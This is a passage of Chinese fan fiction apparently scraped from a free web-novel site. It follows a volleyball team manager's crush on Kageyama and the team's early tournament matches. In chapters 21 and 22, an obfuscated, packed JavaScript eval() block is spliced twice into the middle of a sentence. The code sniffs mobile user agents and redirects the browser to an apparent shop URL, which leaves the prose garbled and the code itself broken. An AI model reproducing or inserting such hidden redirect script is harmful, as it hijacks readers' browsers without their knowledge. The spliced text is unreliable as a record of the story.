戈薇来学校的次数屈指可数,我难得在教室里看见戈薇,还是忍不住关心了一下她的身体状态:“戈薇,你没事吧?” 打电话去戈薇家里,不是白血病就是癌症,不是脚气就是痛风,以至于我真的对日本的医学产生了极大的怀疑,怎么可以对一个花季少女的病症有这样复杂且多样的解释。 好在现在出现在教室的戈薇皮肤红润有光泽,根本不像是久病初愈的模样,我稍微放了点心。 “这是你不在的学校的时候,我们上课的笔记。”我把抽屉里厚厚一沓笔记本拿出来递给戈薇,有些担心地问,“还有一个月就要期末考试了,戈薇,你没问题吧?” 戈薇原本还算平和的脸色迅速垮了下去:“有问题,很大问题。” 我看着戈薇那心如死灰的脸色,十分心疼地拍了拍她的肩:“没什么能帮你的,只能说有不会的问我。” 戈薇眼泪汪汪地望向我,迅速展开她的作业本,露出白花花的内页:“这题、这题还有这题,都不会。” 我:…… 任重而道远啊戈薇同志! 戈薇不会的题目太多,国语还能自己补一补,数学和英语简直就是听天书。我只好把数学那几道题的解题过程都给她,一边给她讲解知识点,一边让她对照着我的解题过程理解。 然而,还没等我讲到英语呢,戈薇的视线就开始飘忽了。 我拿笔杆敲了敲书页,看见戈薇慌忙转回来的视线,关心地问:“是不是太累了?要不要休息会儿?” 虽然不知道是什么病,但好歹是病号,长时间集中精力还是会很辛苦吧? “啊,我不累……”戈薇连忙道歉,摇了摇头,“对不起,你这么热心给我补课我还……” “别放心上。”我把作业本收起来,戈薇的状态明显不太对劲,“是不是发生什么事了?” 前桌的千代和仁花闻声也转过头来,眨巴着眼睛看向戈薇。 “其实也没什么……”戈薇不好意思地道,“就是最近有个男生……” 男……生? 我们三人的耳朵捕捉到关键词,都眼睛一眨不眨地看着戈薇。 “是我们学校的吗?”仁花问。 “叫什么名字?”千代问。 “长得帅吗?”我问。 “哎呀,不是我们学校的,帅倒是挺帅的……”戈薇突然反应过来什么,连忙摆手,“不是,我不是那个意思啦!” “我们也没说我们是哪个意思啊。”我故意打趣道。 “你们……”戈薇气得瞪了我一眼。 “好了好了,不逗你了,说吧。”我连忙讨饶。 “就是那个男生吧……”戈薇沉默了一会儿说道,“家庭条件挺复杂的。他有个哥哥,但是和他不是一个母亲生的,两个人的关系好像不是很好,经常打来打去的,怪危险的……” 我看看仁花,仁花看看千代,三个人一齐沉默。 总感觉,不是很靠谱啊…… “什么叫打来打去的?”千代提问,“哪种意义上的打啊?” “就他哥哥一直想要他爸爸留下来的刀,但是那个刀现在那个男生手里,他俩就拿着那刀打了一架,哥哥的胳膊还被……” 戈薇急急刹车,像是有什么不方便讲的。 我们三人贴心地没有细问,但是脑子里却不约而同地冒出了一个词: 混混啊! “戈薇,”仁花艰难地开口,“其实北条君……” “哎呀不说了,”戈薇摆摆手,强制性结束了这个话题,突然看着我把眉毛一挑,祸水东引,“你呢?你和排球部那个影山君,是怎么回事?” “什么怎么回事,不都和你们说了那是个误会……” “谁说那个了?我可看见了,你们之前还一起回家来着吧?” “那是……那是因为我们两家顺路……” “哦?”三人在我耳边齐齐反问。 “哎呀!我说,我说还不行吗!”我通红着一张脸,从桌洞里掏出一本书打开遮住脸,只露出一双眼睛,还只敢垂着眼看着桌上的笔袋,“我……我暗恋影山君很久了……” 三人捂着嘴巴,脸上同时展现出“我就知道”和“竟然这样”两种表情。 “什么时候的事?很久是多久?”千代往前凑了凑,趴在我桌子上,好奇地问。 “从……从国中二年级……”我把书往脑袋上一盖,脸死死埋在课桌上,“哎呀哎呀,别问了!” “国中二年级……那不都两年多了吗!”仁花算了算时间,惊讶道。 我埋在书里的脑袋点了点。 “千树,这就是你的不对了。”戈薇看着我,严肃道,“这么久了,你居然还没告白!” 戈薇指向千代:“而且你居然还说千代不告白!” 点头点到一半的千代无辜躺枪。 “我告白了!就是……”我小声地反驳。 “失败了?”仁花瞪大了眼睛,“不会吧,连千树这样的美少女都……” “也说不上来算不算失败……” 我把表白那天的事和三人解释了一遍,三人看着我的眼神都透露出了一点点同情的味道。 “好……好惨。”千代忍不住道。 “先培养感情嘛!”我努力为自己挽尊,“国中的时候影山君都不认识我,现在至少关系拉进了很多啊!” 话音刚落,三人眼中都明晃晃地写着“这么落后的进度有什么好骄傲的”。 “那你准备什么时候再告白啊?”戈薇问道。 我在心里默默思考这个问题。 老实说,这个问题我不是没有想过,但是鉴于影山这么积极帮别人帮我递情书,前两天又这么躲着我,虽然昨天说了一堆奇奇怪怪的话,但是应该对我还是没什么感觉。 “再……再等等吧,那家伙满脑子只有排球,他应该……”我斟酌着用词,还是说道,“完全不喜欢我。” 戈薇拍了拍我的后脑勺,不知道在想着什么,但一副十分感同身受的样子对我说道:“男生那种生物,脑子里只有肌肉,你不告诉他,他是不会思考的。” 我似有所悟。 “IH是不是快要开始了?” “是的,两天后就是第一场预选。” “咱们乌野的排球部怎么样?” “当然很强!”我骄傲地扬起下巴。 “那你就在乌野拿了冠军的时候和影山君表白吧!”戈薇提建议道,“很有纪念意义的时刻!” < 19.御守 《[排球]影山同学请和我告白》全本免费阅读 影山坐在桌前,今天的作业已经糊弄完了,锻炼也锻炼过了,应该到了睡觉的时间,但是李千树给的青城比赛的笔记还没看完。 他对着那个本子天人交战,最终还是决定多看一会儿。 手机叮咚一声响,发消息的人头像是一朵灿烂的烟花,是李千树。 影山很少在私下与她在手机上联系,他打开对话框: 【一年五班李千树】:睡了吗? 【影山飞雄】:还没有 【一年五班李千树】:? 【一年五班李千树】:小狗开庭.jpg 【一年五班李千树】:不准偷偷熬夜看青叶城西的笔记!!! 影山猛地从桌子前站起身,在原地转了一圈,确认这个房间里只有自己一个人。 她怎么知道的! 总不至于在他家楼下盯着他吧! 影山飞雄在原地沉思了一会儿,小心翼翼地打开手机聊天框: 【影山飞雄】:你现在在家吗? 对面很快回了消息: 【一年五班李千树】:在家啊,打算睡觉了,怎么了? 【影山飞雄】:没事,早点休息 影山把书桌上的灯关掉,抱着那本笔记上了床,只留了一盏床头灯。 在睡前稍微看一会儿没事的吧?千树桑也睡了,她又不会知道。 手机又“叮咚”一声响,影山打了个激灵,打开手机,未读消息的小红点还是明晃晃地缀在了那个灿烂烟花头像的右上角。 影山紧张地咽了口唾沫,颤颤巍巍地点开: 【一年五班李千树】:睡!觉! 影山:?!! 他迅速把那本本子放在一边,乖巧地关了灯盖上被子开始睡觉。 千树桑,是有千里眼吗? 睡着前,影山迷迷糊糊地想道。 ------- “千树,可以来帮帮忙吗?”洁子学姐看着我问道。 “当然!”我积极地凑上前,帮着洁子学姐一起从遍地灰尘的仓库里把那个包得严实的纸箱子给拖了出来。 日向在我身后好奇地询问:“千树桑,这是什么啊?” 我冲他眨眨眼:“等着瞧好了!” 我和学姐把箱子里的东西拿出来,爬上二楼,在底下排球部员一众疑惑好奇的眼光里,把手中的布幅展开: 飞吧。 黑布上只有这样简单大气的两个毛笔字,随着那块黑布缓缓平稳,空气中扬起细小的微尘,在阳光中粒粒清晰。 “哇!” “居然还有这种东西!” “打扫卫生的时候发现了,我就把它洗干净了。”洁子学姐偏了偏头,不好意思道。 “真不愧是洁子学姐!” “我都要燃起来了!” 西谷学长和田中学长已经十分配合地煽动起了氛围,连带着我的心也和场馆里激动的氛围一起燥热起来。 “加……”学姐突然小声说了一句。 我注意到,制止了底下激动的男生们:“安静一下,学姐还有话说!” “加……加油。”洁子学姐红着脸,磕磕巴巴说完这一句话,就飞快地跑走了。 真不愧是洁子学姐,一句话能顶队员们干三天! 我这么想着,往楼下望去。 不是,底下这只会流泪的石头桩子都是怎么回事! 我从二楼爬下来,学长们已经不分你我地抱作一团嚎啕痛哭,彼此加油打气要打个胜仗给洁子长长脸。 我们一年级五个新生站在一边,面面相觑,神情惊讶,显得十分格格不入。 “你怎么不哭?”我戳了戳站在一边的影山。 “啊?”影山的眼里写着迷茫,“为什么要哭?” 日向已经抛下了刚才惊讶的神情,迅速融入学长的氛围,跳起来和学长一个个击掌,大声喊着“首战必胜”的口号。 月岛听见我和影山的对话,瞥了我们一眼,忍无可忍地道:“够了没?体育馆还没收拾呢!” 进排球部将近两个月,我已经熟练掌握了眼前这个金发傲娇四眼仔的使用方法,笑眯眯地对他说:“月岛君也要加油哦!乌野的拦网没有月岛君可是不行的呢!” “……多嘴。”月岛迈着大步,仓皇逃到一边去收拾体育馆了。 山口抱歉地看我一眼,跑上前和月岛一起捡球了。 在乌野当排球部经理,比我想象中有意思多了! 我叉着腰,看着在半空中飘扬的应援条幅,眯着眼微笑。 这条幅是前些日子,我与学姐在收拾仓库时,在厚厚的灰尘里翻出来的。 去参加比赛的时候,带上应援条幅,是理所当然的事情。 可是刚才菅原学长说“居然还有这种东西”,竟像是从来没见过的样子。 看来,乌野已经沉寂太久了。 是时候梳理好羽毛,磨锋利爪,昂首挺胸地站到众人面前了。 我笑眯眯地看向影山:“国中有大鸟,止王之庭,三年不蜚又不鸣,影山,子知此鸟何也?” 不知道为什么,影山看上去很紧张,浑身僵硬地等着我的后文,一句也答不上来。 既然他不答话,我只好自己接上了这个故事的后半截:“此鸟不飞则已,一飞冲天,不鸣则已,一鸣惊人!” 我把双手打开,兴奋地将那应援条幅框在掌心:“我们乌野,一定就是那只一鸣惊人的大鸟,杀得众人措手不及,一路赢下去的!” 影山僵硬的表情柔和下来:“嗯!” 远处菅原看着两人:“千树桑这一段引经据典的,影山听懂了多少?” 月岛抬起头,面无表情地道:“大概只听懂了最后那句‘一路赢下去’吧。” 排球部活动结束,我照例还是和影山一起往回走。 影山咬着包子,我踩着砖块的缝隙,一路摇摇晃晃地走着。 太阳一日落得比一日晚,今天我们又放得早,我们回家时太阳都还没落山,初夏的暑气悄悄落在这个傍晚,自草地里升腾起泥土和青草的芳香,提醒着过路人初夏的降临。 我总是很喜欢闻这样的气味,沁人心脾的自然香味。 我假装看着路缝,落后影山半步,仗着他看不见,肆无忌惮地从背后打量他。 黑色的柔软发丝乖巧地贴在脑袋上,在夕阳里翘起的发尖根根闪耀得 20.IH 《[排球]影山同学请和我告白》全本免费阅读 “千——树——学——妹——”田中学长和西谷学长接过我的御守,哭得一把鼻涕一把泪,“世上只有千树学妹好!” “那洁子学姐呢?”我提醒两人道。 “洁子学姐也好!千树学妹也好!乌野的女经理都好!”两人在车上“呜呜”地哭着,但还不忘记要给御守拍照。 “谢谢千树桑,有心了。”大地学长也真情实意地感谢道。 “没事,正好我同桌家里是开神社的,去她家玩的时候,顺便就给大家都准备了,也祝大家旗开得胜!”我摆了摆手,笑道,“我能力有限,也只能在这些方面给大家表现一点心意了,在赛场上,还是要靠大家加油才行!” 乌养教练、武田老师和洁子学姐并不上场比赛,送御守总觉得有些奇怪,我就准备了在精品店发现的小乌鸦挂坠,甚至乌鸦头上还绑着“必胜”的字条。 我拎起自己的背包,摇了摇在上面的小乌鸦吊坠:“大家都有!” 洁子学姐忍不住笑了:“好可爱,谢谢。” 我坐在洁子学姐身边,双手合十,忍不住露出了和田中前辈与西谷前辈如出一辙的表情:“不客气,洁子学姐。” 到底谁能抵挡得住洁子学姐的美貌攻势啊! ------ 影山兴致不是很高。 昨天他收到李千树送的御守,还以为是李千树终于认可他作为朋友的一个标志,谁知道今天她就带了一堆御守来,给排球部的大家一人一个分了,一个没落。 连教练和老师都有乌鸦吊坠! 也是,以千树桑这种做事情总是处处完美的风格,自然不会忘记乌野排球部是一个整体,既然他有,那大家当然都有。 得亏他昨天还以为只有他有呢。 心里憋屈得像是连着一个星期没打上排球,影山恨不得穿越回昨天晚上,敲一敲那个过分激动的自己。 “喂,影山,你闷闷不乐的干嘛呢?”日向收到御守,高兴得连自己晕车都忘了,“你不会没收到千树桑的御守吧?” “哈?怎么可能!”影山怒气冲冲地翻过自己的背包,露出挂在上面的小巧御守,“我怎么可能没有,笨蛋!” 日向皱着眉:“知道了知道了,有就有,凶什么凶。” 奇怪了,他刚才好像没有看见千树桑给影山分啊? 日向纳闷地又看了一眼影山的包,那个御守挂在包上,斜斜地垂下来,看上去好像没什么特殊的。 但是,是不是有几根线缝得有点歪? 日向还想看得再清楚一些,影山却一挪包,那个御守一翻,落到包的背面,看不见了。 日向撇撇嘴,不看就不看。 “哎?原来刚才千树桑有给影山分御守啊?我刚没看见,我也以为影山没拿到呢。”山口注意到这一幕,也惊讶道。 月岛也不记得李千树有给影山分过御守,是自己没看到吗? 可他没看见也就算了,山口和小不点都没看见? 那个御守的金线在阳光里闪了闪,蛰了一下月岛的眼睛。 他将眼罩拉了下来,对山口说:“谁知道呢。” ------- 乌野还是太偏了,去体育馆要开上好一段路,我在车上又睡了一觉,但是大家基本上都激动得睡不太着。 好消息是日向这回没晕车。 鉴于每次橘子小狗同学在重大比赛前都要跑厕所,我这次特意在包里准备了防腹泻的药,虽然他跑厕所大概率并不是因为吃坏东西,不知道这些药有没有用,但是到底有备无患嘛。 还没走近体育馆,就远远听见有人站在布告栏前,看着分组情况发出点评:“鸟……鸟野?” “那是乌野啦!” “乌野以前不是很强吗?” “都说是以前了,现在还有个超逊的外号!” “没落的强豪,不会飞的乌鸦!” 他们说出这句话的时候,我们一行人正好站到他们背后,面色不善地盯着他们。 仗着身后田中学长表情凶恶,我双手抱胸抬了抬下巴:“看不起乌鸦的话,可是会被吃得连骨头渣都不剩哦!” “对不起!”两人慌忙道歉。 “千树学妹,怎么还学我说话!” “因为很帅所以拿来用了……” 大地学长:“你们两个!” 他到底只是抓走了田中的书包带:“你看你,一眼看不见就吓唬人家,给人家千树学妹树的什么榜样?说话的语气现在和你一模一样!” 我缩了缩脖子,拒绝承认自己助纣为虐。 赛场上只能留一个经理,我只能去观众席,正好我还叫了千代她们来看比赛,干脆就在这里和大部队分开,自己带着应援条幅去了二楼。 “仁花、千代、戈薇,在这里!”我远远冲着三人招手。 “没什么人嘛。”戈薇看了看周围声势浩大的应援团,又看了眼孤零零站在条幅前的我。 “毕竟之前乌野排球部颓丧了一阵子,刚刚重振旗鼓嘛!”我尴尬地笑了两声。 “那就是乌野的排球部对不对?影山君是几号,9号?”千代看着底下问道。 “确实很帅呢。”仁花肯定了我的审美。 “嘘嘘嘘,别乱说!”我红着脸瞪了三人一眼。 “呀吼!小飞雄,还有小不点,有没有乖乖地在做你们的怪人组合呢?” 熟悉的声音在附近响起,我们四人齐齐转头,看见原来是青叶城西进了场。他们是种子队,第一轮轮空,这会儿正在底下逗乌野的队员。 我内心默数三秒,果然看见岩泉学长的巴掌落到了及川学长的后脑勺上。 “那是……”千代艰难地询问。 “青叶城西的队长,是个技术很好的二传,就是性格轻浮一些。”我回道。 也不知道这话怎么就让风顺到了及川学长的耳朵里,他立刻抬起头看向我,装作受伤道:“小千树这么说,及川大人会伤心的诶!” 明明刚才还没看见我的! 我叹了口气,朝他们打招呼:“及川学长好,岩泉学长好。” 岩泉学长又是一巴掌敲在及川后脑勺:“人家学妹早说了让你不要这么喊她了吧!” “小岩,很痛诶!” 及川学长和岩泉学长嚷嚷完,这才又转回头来笑眯眯道:“乌野变化很大嘛,3号之前没有见过,也 21.冲突 “确实有段日子了,小林君,”我平静地看着他,礼貌道,“有什么事吗?没什么事的话我先走了,我们学校排球队的队员们还在等我。” “乌野是吧?”小林伸一摆了摆手,“虽然赢了首战,但是下一场是和伊达工业吧?我没记错的话,乌野不是伊达工的手下败将吗?着什么急?” “那都是两个多月以前的……” “那也是事实不是吗?”小林伸一嗤笑一声,“你又为什么去乌野了?白鸟泽没考上,怎么没有来青叶城西?怎么,害怕了?” 我的手在身侧捏成拳头,又微微松开。 “乌野会不会赢,打完不就知道了?”我嘴角扬起笑,直视着他的眼睛,“小林君这么着急,是怕青叶城西输了今天的比赛,连和乌野比赛的资格都拿不到吗?” “我才不着急,我是怕你打输了哭鼻子。”小林伸一冷笑了一声。 “小林,你倒是对这么漂亮的女生说话客气点啊!什么时候认识的?从来没听你提起过,瞒得挺死啊!”他边上不认识的男生推搡着调笑他,看校服应该也是青叶城西的。 “她啊——” “千树学妹!” 小林伸一刚要回答,却被我身后的叫声打断。 我转头看去,是大地学长。他看见我被这群男生给拦住,善解人意地站到我身侧,还用身子遮了遮我,“怎么还不过来,是迷路了吗?” 他又把目光放到我面前的男生们身上:“他们是……?” “学长好,我是千树以前的同学,好久没见了,就叫住她说了两句话,给你们添麻烦了,真是不好意思。”小林伸一笑嘻嘻地和大地学长鞠了一躬。 他又转头,眼神清澈地对我道:“有事就先去忙吧,我们改日再聊。” 他刻意把改日再聊几个字咬得很重,冲我扬了扬手上的手机,又朝着大地学长抱歉地笑了笑,这才拉着那几个男生离开。 我看着他的背影,悄悄松了口气,这才发现手心全是汗。 大地学长的目光在那群男生身上停了很久,才转头回来问我:“没事吗?” 我连忙摇摇头:“学长怎么过来了?应该抓紧时间休息一会儿。” “左等右等你不来,发消息没回,打电话也没人接,还以为发生什么事了。怕你找不到我们的位置,所以过来看看。” 听了这话,我才慌忙打开我的手机,发现手机上有十几条未读消息,甚至还有两个未接电话。 本来比赛就很累了,还要让大家分心照顾我,我简直愧疚得不知道说些什么好,只好低着头连连和大地学长道歉。 “没事的,别往心里去,我本来也吃完饭了,想出来走走。”学长安慰我道,“下次再遇到这种情况,记得给我们发个消息就好。” 我点点头,和学长一起往乌野的休息区走去。 “千树学妹,你可算回来了!”西谷学长远远看见我,就连忙和我招手,“是走丢了吗?” “没有啦,不好意思让大家担心了,下次不会了,大家抓紧休息吧。”我对西谷学长抱歉地笑了笑。 “快吃饭吧,给你留了一份盒饭。”清水学姐拍了拍我的肩,把盒饭递给我,“真的没事吗?” “真的没事啦!”我接过盒饭,拆开一次性筷子,冲学姐笑着摇了摇头,一边吃饭一边打开手机,给刚才给我发消息的队员们一个一个发消息解释道谢。 --------- 李千树平时是很稳妥的类型,不是路痴,不会迷路,如果有什么情况一定会提前和泽村或者清水打招呼,所以这次迟迟不来,又联系不上,大家这才有些着急。 田中和西谷早就坐不住,但是泽村担心他俩去找李千树,只怕要把自己也找丢,只好叫缘下暂且看着队伍,自己先去找人。 影山三两口吃完了饭,在肚子里消化的碳水让他有些昏昏欲睡,但是他抬头四下里看了一圈,李千树还是没有回来。 打开手机,那个烟花的头像没有闪烁,页面上只有一句他刚才发过去的消息: 【影山飞雄】:千树桑,你在哪里? 他把手机关上又打开,页面刷新了一遍,却没有丝毫变化。他刚打算再给李千树发个消息,就听见西谷学长叫了一声李千树的名字。 她垂着脑袋,跟在大地学长身后回来了,第一件事就是先和大家道歉说对不起。 他莫名松了口气,重新坐下,手机嗡嗡一声,刚才刷新好几遍毫无反应的烟花头像闪烁起来。 她回了一个小狗道歉的表情包,说自己刚才去送朋友离开场馆,这才过来晚了。 总归没有走丢就好,影山没再多想,放心地把手机塞进包里。 “影山,”大地叫了他一声,回头又看了一眼在和清水说笑的李千树,这才把他拉到一侧悄声问道,“你知不知道,之前在北川第一,千树学妹有没有和谁相处得不太好?” 影山迷茫地眨眨眼,老实地摇摇头。 大地扶额:“虽然猜到了,但是还是想问问……唉,算了。” 毕竟是影山啊,自己在球队里的问题当时都没能处理好,怎么可能注意到他根本不认识的李千树。 “怎么了?”影山和路过的月岛同时问出了口,两人对视了一眼,影山将眉头一皱,月岛也是挑了挑眉,倒是没有吵嘴,继续看着泽村大地。 泽村摇摇头:“也没什么,刚才千树学妹被几个男生拦住了,其中有个男生说自己是千树以前的同学,虽然看着挺礼貌的,但是千树学妹当时的表情不是很好。” 他摆摆手:“既然不知道就算了,你们也别去问她,先专注眼前的比赛。” 影山点点头,月岛却若有所思地朝着李千树的方向看了一眼。 等到泽村走开,影山也打算坐下休息会儿的时候,月岛才冷不丁地问了一句:“以前北川第一的事情,你真的不知道?” 影山习惯性地皱着眉头冲着月岛“哈”了一声,才反应过来他的问题,闷着气问:“什么?” 月岛这个家伙,明明不是北川第一的,怎么对他和李千树国中的事情都知道得这么清楚? 影山十分不爽地瞪着月岛,月岛见他这架势,却轻飘飘地丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898008|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一句“不知道就算了”,然后就施施然走回山口身边休息去了。 影山差点跳起来和月岛打一架,看见月岛对面大地学长威胁的眼神还是缩了回去。 等比赛结束再问问千树桑吧。 ------ 和伊达工的比赛就没有那么轻松了,毕竟是县内响当当的铁壁,甚至旭学长还被打出过心理阴影。我站在看台上,全程心都悬在了嗓子眼,特别是影山君和日向君的“怪人速攻” 被意外拦下,旭学长也迟迟扣不下球的时候。 我一边笃定以乌野的实力一定可以获胜,一方面却又担心下一秒就发生什么变故。 毕竟球场上瞬息万变,没有人会是永远的胜者。 好在最后乌野还是2:0拿下了比赛。 我这回长了记性,和来看比赛的嶋田先生和泷之上先生打过招呼后,一刻不敢耽搁地往下跑,手机也关了静音,如果有人给我发消息打电话,第一时间就能听见。 很好,这回没有被莫名其妙的人拦住,我顺利地跑到了队员退场的门口,又蹦又跳地和大家一个个击掌。 “你们真的太厉害了!”我忍不住夸道,“乌野真的很强!我在上面看的时候,好几次都忍不住尖叫出声了!” 连赢两场,乌野却没有一个人露出骄傲的神色,泽村队长只是笑了笑,简单地说了两句,便问我:“青叶城西比赛结束了吗?” “还没呢,”我下来之前就看好了看台位置和路线,一边带着他们往那边走一边道,“他们的比赛比你们晚开始一点,还正在打。” 考虑到大家打完比赛会饿,但是离回家吃饭还有一段时间,我特意在包里塞了小饼干,给大家分了几块垫肚子。 乌野今天的比赛虽然结束了,激动的情绪却一点没有消下去。日向君和西谷学长趴在前面的栏杆上,影山君和别的学长也大多坐在了看台的第一排。 我看了看对面青叶城西的应援队,绕了一圈,还是挑了一个不起眼的角落,坐在了月岛的后面。 他个子高,我坐在他后面,应该可以完美地挡住我。 山口君热情地和我打招呼:“千树桑怎么坐在这么后面呀?不会被挡到吗?” 我摇摇头,撒谎道:“今天站了一天看比赛,有点累,想坐着休息会儿,不看比赛也没事。” 月岛君回过头看了我一眼,对山口道:“我们来看,主要还是为了熟悉青叶城西的比赛风格。之前青叶城西的资料整理都是她做的,估计已经看腻了吧。” “哇,千树桑你真的辛苦了!”山口看向我的眼神瞬间饱含敬意,我连忙摆手表示根本没有这么夸张。 “毕竟我能做的有限……” “明天一定会好好比赛的……啊,我忘了我不上场了……但是阿月上场!阿月一定会拦下他们的球的,是吧阿月!” “山口,吵死了。”月岛脸色状似不耐地说了一句。 我笑眯眯地看着两人拌嘴,想再往椅子里窝一点,好让自己完全躲在月岛君的背后。 咦,月岛君的背,是不是比刚才挺得又直了一点? 22.天蓝色小洋裙 虽然我对小林伸一夸下海口挑衅,但是作为种子队,青叶城西显然不是什么纸老虎,没有悬念地大比分拿下比赛,成为了乌野明天的对手。 我掏出手机看了眼消息,一条是小樱姐发来的,表哥那边也赢了比赛成功晋级,另一条是一条好友申请,备注是“青叶城西赢了”。 还有一长串的感叹号。 小林伸一,为什么几年过去了还是这么幼稚? 我回复了小樱姐,给表哥发了消息表示祝贺,拒绝了小林伸一的好友申请,把手机揣进兜里,站起来和大地学长与洁子学姐请假。 知世姐姐让我和表哥今天去她家里吃饭,她家里人已经来接了,直接把我们带到她家去,我就不和乌野的大家一起走了。 大概是中午的事让大地学长不太放心,他从座位上起身:“我送送你吧?” “没关系,很近的,我表哥他们就在大门口等我,我已经和他们说好了。” 我冲望过来的排球部部员摆摆手:“明天见!” 可等我转身走到门口时,身后却响起了急匆匆的脚步声。 我回过头看,居然是影山君跟了上来,见我转回头,一下子站在原地,不知所措地挠了挠后脑勺:“千树桑……” “怎么跟来了?” 影山君似乎更着急了,垂着脑袋想了半天才结结巴巴道:“因为……因为今天还没有和千树桑说再见。” 啊,忘了,影山君的仪式,每天都要很认真地和我道别。 我一边示意他往前走,一边笑道:“其实也不用每天都和我这么认真地道别的啦。” 他在我身边,像是泄了气的皮球一下子蔫了下去,我居然从他一向有些凶狠的表情里看出一点委屈的意味:“……不能每天和千树桑说再见吗?” “我绝没有这个意思!” “……”影山君虽然什么也没有说,嘴角却默默翘了起来。 “为什么和我说再见,这么重要呢?”我犹豫着问影山,在嘈杂的体育馆里,听见自己的心怦怦跳着。 影山君沉默了一会儿,似乎在纠结怎么回答,过了一会儿才慢吞吞道:“因为……需要有礼貌才行。” 我没听懂这一句话没头没脑的是什么意思,只当影山君是在进行他的人情世故的修炼。 虽然没能听到我满意的答案,但是影山君这么重视每天和我的相遇和道别,对我来说,总也是一件值得高兴的事。 “千树——”小樱姐站在表哥身边,远远冲我招手。 “那我先走啦!”我雀跃地和影山说再见。 他的神情又流露出在球场上一般的认真和专注来,郑重其事地和我说:“御守……还是要谢谢千树桑。” “已经谢过啦,不用谢那么多次的。”我笑道。 影山点点头:“明天见。” “嗯,明天见。” 我冲他摆摆手,向着表哥他们跑去。 “千树,那个男生是谁啊?”小樱姐好奇地看向我身后那个背影,“个子好高。” “是排球部的二传,来送送我。”我回道。 表哥皱着眉:“就是上次学校门口那个又呆头呆脑又恶狠狠的家伙?” “表哥不要这么说,影山君人很好的!”我戳了戳趴在小樱姐姐肩上那个黄色的可爱玩偶,“是不是呀,小可酱?” 不知道为什么,面前三个人的表情在一瞬间都有些僵硬。 “是啊哈哈哈哈……”小樱姐姐忽然笑了起来,将肩上的玩偶抱在怀里,“而且小狼刚转来的时候看起来也凶凶的,实际上是很温柔的人呀!” 表哥把头扭向一边:“……我哪有。” 我和知世姐姐在一边偷笑。 ------- 影山确认李千树和认识的人汇合之后,远远鞠了一躬算是打招呼,这才转身往回走去。 每天都坚持要和千树桑说再见很奇怪吗?但是网上说要保持礼貌才可以。 而且今天因为时间还早,影山和她说再见的时候,没有说晚安。 刚才千树桑问他,为什么说再见这么重要的时候,他差一点就脱口而出,因为不想要千树桑讨厌他了。 好险,好险,他那时候微妙地觉得,如果把这句话说出口,或许千树桑会觉得和他相处是一件很麻烦的事。 还好忍住了。 影山一边走着,一边想起了大地学长白天的话。即便迟钝如他,也能察觉出大地学长打算送送李千树,是因为怕她又被莫名其妙的人缠上。 不过送到她表哥身边了,应该就没事了吧。 等下,表哥? 影山猛地停住脚步。 刚才站在李千树身边的高个子男生和之前在校门口把他和日向分开的脸对上,不就是那个经常来接千树放学的高个子帅哥吗?! 所以那根本不是千树桑的男朋友吧?日向这家伙,又骗他! 影山在原地恨恨地咬了咬牙,心情放松了一瞬,又慢慢被另外一个问题覆盖了。 那千树桑之前说有喜欢的人,是谁呢? 兜里的手机忽然响了起来,把影山吓了一跳,他手忙脚乱地接了电话,对面大地学长的声音传了过来:“去送千树学妹,怎么去了这么久?又被奇怪的人缠上了?” “啊,没有。” “那怎么还不回来?” “是,马上回来!”影山下意识立直身子,四下看了一圈,却发现了一个很严重的问题。 “……我迷路了。” “……等着!” 最后大地气冲冲地走了回来,身后跟着大气不敢出的影山。 日向凑上去,挤眉弄眼:“影山,别在意~” 影山顿时斜起眼睛飞了一个眼刀,他和日向的账可不止眼前这一项! 不过那个男生不是千树桑的男朋友这件事,只有他知道,日向不知道,还是他赢了。 影山抬起下巴,居高临下地看着日向,露出一个诡异且象征着胜利的微笑。 ------- 小林伸一坚持不懈地给我发着好友申请,拉黑了一个账号之后,居然又换了一个账号给我发。 以至于晚上吃饭的时候我看手机的次数太频繁,连表哥都问我是不是有什么事情。 我摆摆手说没事,然后忍无可忍地通过了小林伸一的申请。 【李千树】:你到底要干什么? 【神经病3号】:青叶城西赢了 【李千树】:所以呢? 【神经病3号】:所以明天乌野要和青叶城西打,并且乌野一定会输得很惨 我忍住骂人的冲动,面无表情地冷漠回复: 【李千树】:明天等着吧 【神经病3号】:你承认吧,千树,你赢不了我的 【李千树】:神经病 我再次把这个号码拉黑,直接把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913418|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机关机,乐得清净。 毕竟表哥第二天也还有比赛,我们并没有在知世姐姐家待到太晚,吃完晚饭简单聊了几句,知世姐姐就找人送我们回家。 在回家前,我状似不经意地询问知世姐姐上周末买的裙子,到底是白色那套更好看还是鹅黄色那套更好看。 知世姐姐意味深长地看了我一眼,从衣柜里拿出了一套天蓝色的连衣裙:“这套更好看。” 知世姐姐对于衣服的品味无可指摘,但是这条裙子应该是她自己设计且手工缝制的。 “我拿走这条裙子真的可以吗?太贵重了吧……”我不好意思地说。 “没关系,看见千树穿我做的漂亮裙子,我也会觉得很开心。”知世姐姐大度地表示,“小樱好多衣服都是我做的呢,对吧,小樱?” “对!”不知道为什么,小樱姐姐笑得有点不好意思。 我忍不住产生了好奇心,我一直知道知世姐姐做衣服很厉害,但是好像没怎么见到过小樱姐姐穿:“真的吗!可以让我也看看吗?” “下次吧……” “没问题哦!”知世姐姐打开手机,给我展示了她的相册。 满满当当,全是小樱姐姐! “这些衣服真的很漂亮啊!” 就是好像不太日常…… 